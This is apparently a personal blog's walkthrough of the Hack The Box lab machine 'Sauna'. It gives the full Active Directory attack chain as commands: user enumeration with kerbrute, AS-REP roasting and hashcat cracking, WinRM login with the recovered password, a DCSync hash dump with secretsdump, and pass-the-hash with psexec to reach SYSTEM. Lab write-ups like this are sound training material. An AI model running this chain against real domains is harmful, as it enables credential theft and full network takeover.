# Sauna

Hack-The-Box 59 / 72
6 min read
HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. DCSync ⓘ Abusing domain replication permissions to ask a Domain Controller for password hashes as if you were another DC. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds.
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Sauna
  • OS type: Windows
  • Difficulty: Easy

Port Scanning - Service & Version Enumeration

Terminal window
# Nmap 7.94SVN scan initiated Sun Apr  6 01:13:09 2025 as: /usr/lib/nmap/nmap -sVC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49677,49689,49696 -oN initial/nmap.out 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up (0.30s latency).


PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-06 12:12:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows


Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 6h59m29s
| smb2-time:
|   date: 2025-04-06T12:13:56
|_  start_date: N/A


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr  6 01:15:07 2025 -- 1 IP address (1 host up) scanned in 117.87 seconds

Enumeration

Port 80/HTTP

let’s start our enumeration from port 80

image.png

from the title we can say that it is a banking website.

image.png

we found some user’s names, let’s note down these usernames in format of FirstName.LastName

let’s check another features in website, clicking on Apply Now button we found form

image.png

however submitting the form give us the Error 405

image.png

Hmm, nothing interesting here

let’s check gobuster for any hidden files or directories

Terminal window
gobuster dir -u http://10.10.10.175 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt
image.png

No interesting files are found

Terminal window
gobuster dir -u http://10.10.10.175 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
image.png

no interesting directories either.

Port 139,445/SMB

SMB is open on the target it is always better to check for Null sessions on SMB

Terminal window
smbclient -L //10.10.10.175 -N

-L for Listing shares

-N for Null session (No username & password)

image.png

server does allows the null session but no share listing, anonymous login enabled!, check for enum4linux

Terminal window
enum4linux -a 10.10.10.175
image.png

we found Domain Name and Domain SID, let’s note Domain SID, it can be use in feature attacks.

SID: S-1-5-21-2966785786-3096785034-1186376766

Domain: EGOTISTICALBANK

Port 135/MSRPC

let’s connect to MSRPC with rpcclient

Terminal window
rpcclient -U "" -N 10.10.10.175

→ it will work same as SMB null session, then try to run basic command such as enumdomains

image.png

Hmm, we can access but we don’t have permissions to run such commands

Port 389,3268/LDAP

let’s start our enumeration on LDAP, we’ll use ldapsearch tool for enumerate the LDAP

first we’ll need to grab the Domain NamingContexts also called as DN for perform search using LDAP, also called as base

Terminal window
ldapsearch -H ldap://10.10.10.175 -x -s base NamingContexts

-H : host for searching ldap://

-x : basic authenticaiton (no need to specify password)

-s : search scope: here we need to search base

NamingContexts : works like filter, output only NamingContexts

image.png

now let’s use this to perform full search on the domain

Terminal window
ldapsearch -H ldap://10.10.10.175 -x -b "DC=EGOTISTICAL-BANK,DC=LOCAL"
image.png

Lot of output but we didn’t find anything useful here such as usernames or any other details

Port 88/Kerberos

Let’s use the created user’s list and use tool - kerbrute to find valid users, i’ve added the Administrator and krbtgt users’ to the list as they are the inbuilt user’s in any AD Domain Controller

it identified Administrator and krbtgt is valid users, but other user’s are not exists

Terminal window
kerbrute userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL usernames.txt -v
image.png

let’s change our username format as per the industry standards, in companies the username of the employee can be in following patterns:

  • Firstname.Lastname
  • FirstInital.Lastname
  • FirstinitialLastname
  • Firstname.Lastinitial
  • FirstnameLastinitial
  • Firstname

as we’ve tried Firstname.Lastname let’s check other format as well, we’ll first only change 1 user’s name, let’s say Fargus.Smith, so now let’s edit Fergus.Smith to F.Smith,FSmith,Fergus.S, FergusS,Fergus

image.png

Bingo! we got hit, so the username format is FistinitialLastname, let’s change all user’s username and then try again

image.png image.png

it still identified only one valid user what’s wrong!,

image.png

so it is the thing!, only one security manager and it is Mr. Fergus Smith 😈

we now have valid username but no password, what are you thinking about AS-REP attack right, yes my friend

Terminal window
impacket-GetNPUsers -no-pass -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/FSmith
image.png

Bingo!, let’s load our hashcat and crack this sweet hash

Terminal window
hashcat --help | grep -i kerberos
image.png

we are here for AS-REP let’s use the mode 18200

Terminal window
  hashcat -m 18200 fsmith.hash /usr/share/wordlists/rockyou.txt
image.png

great we found password for fsmith:Thestrokes23

let’s use netexec tool to check if we have any read/write access to share in SMB or permissions to login via winrm

Terminal window
netexec smb 10.10.10.175 -u fsmith -p Thestokes23 --shares
image.png

HMM, we have a READ permissions to NETLOGON,SYSVOL,print$ shares and write permissions to RICOH Aficio SP 8300DN PCL 6 share which looks interesting, let’s keep this in pocket and check for winrm access

Terminal window
netexec winrm 10.10.10.175 -u fsmith -p Thestokes23
image.png

Pwn3d! means we can login using winrm, let’s use evil-winrm to login as fsmith

Terminal window
evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
image.png

Post-Enum

let’s start our enumeration, first we’ll check for any special privileges do we have, any special group memberships

let’s check for any special privileges usign whoami /priv

image.png

nope, let’s check for group memberships using whoami /groups

image.png

nope we are just normal user on this system, what about checking other users on the system

image.png

svc_loanmgr possibly the service user!, what if we can login as svc_loanmgr then use SeImpersonatePrivilege to gain Admin access!, first we need to enumerate the svc_loanmgr user

let’s check it’s group membership using net user svc_loanmgr

image.png

possibly if we can get the password of the svc_loanmgr we can login using evil-winrm, now we are dealing with service user’s so it’s always good to check for the Kerberost attack.

image.png

Deadend!, let’s use the bloodhound

Terminal window
bloodhound-python -c all -u fsmith -p Thestrokes23 -d EGOTISTICAL-BANK.LOCAL -dc SAUNA.EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175
image.png image.png

svc_loanmgr has DcSync Permission, let’s first find the password for the svc_loanmgr, let’s use the winPEAS to find any information we missed earlier

upload winpeas to target machine via upload command

image.png

ohh!, so much overthinking we just found password laying around the machine

as we have DCSync rights let’s just use the secrestdump tool to get the password hashes

Terminal window
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175
image.png

it’s time for PsExec!!,

Terminal window
impacket-psexec Administrator@10.10.10.175 -hashes "aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e"
image.png

and we got the shell as NT authority\SYSTEM user.

Next: Servmon
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Administrator

Hack-The-Box 9 / 72
6 min read

Unknown Unknown machine - Administrator.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. FTP ⓘ File Transfer Protocol — frequently misconfigured with anonymous access, exposing sensitive files. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. Kerberoasting ⓘ Requesting service tickets for accounts with an SPN, then cracking them offline to recover the service account's password. DCSync ⓘ Abusing domain replication permissions to ask a Domain Controller for password hashes as if you were another DC. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds.

# Blackfield

Hack-The-Box 10 / 72
6 min read

Windows Hard machine - Blackfield.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. AS-REP Roasting ⓘ Requesting authentication data for accounts without Kerberos pre-auth, then cracking it offline to recover the password. Password Spraying ⓘ Trying one common password against many usernames to avoid account lockouts.

# Certified

Hack-The-Box 16 / 72
10 min read

Windows Medium machine - Certified.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. Kerberoasting ⓘ Requesting service tickets for accounts with an SPN, then cracking them offline to recover the service account's password. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. AS-REP Roasting ⓘ Requesting authentication data for accounts without Kerberos pre-auth, then cracking it offline to recover the password. Git

# Escape

Hack-The-Box 26 / 72
9 min read

Windows Intermediate machine - Escape.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. RDP ⓘ Remote Desktop Protocol — Windows remote GUI access, sometimes exposed with weak credentials.
Comments